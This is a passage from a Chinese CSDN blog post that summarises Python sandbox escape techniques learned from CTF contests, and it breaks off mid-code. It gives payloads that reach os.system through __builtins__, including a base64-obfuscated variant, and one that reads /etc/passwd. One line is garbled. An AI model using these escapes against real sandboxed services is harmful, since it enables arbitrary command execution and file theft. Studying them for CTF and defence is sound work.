Python沙箱逃逸总结

本文详细介绍了Python沙箱逃逸的各种方法,包括利用__builtins__的__import__、file、open、eval等函数,通过object的__base__、__bases__、__mro__属性构造payload,以及借助__globals__和func_globals属性进行命令执行。同时,文章还提到了其他绕过限制的策略,如getattribute、decode拼接、无[]法、request法和各种盲注技巧,并提供了相关参考资料。
摘要由CSDN通过智能技术生成

0x00 简介

关于Python沙箱的逃逸,在多次CTF比赛中看到后,终于下定决心来进行一番学习和总结。

python沙箱逃逸:从一个受限制的python执行环境中获取到更高的权限,甚至getshell。

 

0x01 __builtins__

首先我们从python的内建函数__builtins__说起。通过dir(__builtins__)可以查看内置函数,展示所有内置类型和函数。

我们先来看最基础的__import__函数

# 直接调用

__builtins__.__import__('os').system('dir')

# 通过dict访问

__builtins__.__dict__[‘import__('os')’].system('ls')

 

# 玩一些花样-转码

__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')

此外还有file、open、eval等函数

__builtins__.__dict__.__getitem__('file')('/etc/passwd').read()
__builtins__.__dict__.__getitem
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值